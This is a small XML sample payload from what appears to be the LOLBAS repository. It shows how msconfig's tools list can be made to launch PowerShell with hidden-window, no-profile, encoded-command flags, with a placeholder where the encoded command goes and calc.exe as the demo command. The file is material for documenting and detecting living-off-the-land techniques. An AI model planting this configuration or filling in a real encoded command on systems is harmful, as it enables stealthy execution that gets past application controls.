LOLBAS/OSBinaries/Payload/mscfgtlc.xml

5 lines
247 B
XML
Raw Normal View History

2018-06-09 00:15:06 +02:00
<?xml version="1.0" ?>
<MSCONFIGTOOLS>
<a NAME="LOLBin" PATH="%windir%\System32\WindowsPowerShell\v1.0\powershell.exe" DEFAULT_OPT="-nop -sta -enc -w 1 <BASE64ENCCOMMAND>" ADV_OPT="-command calc.exe" HELP="LOLBin MSCONFIGTOOLS"/>
</MSCONFIGTOOLS>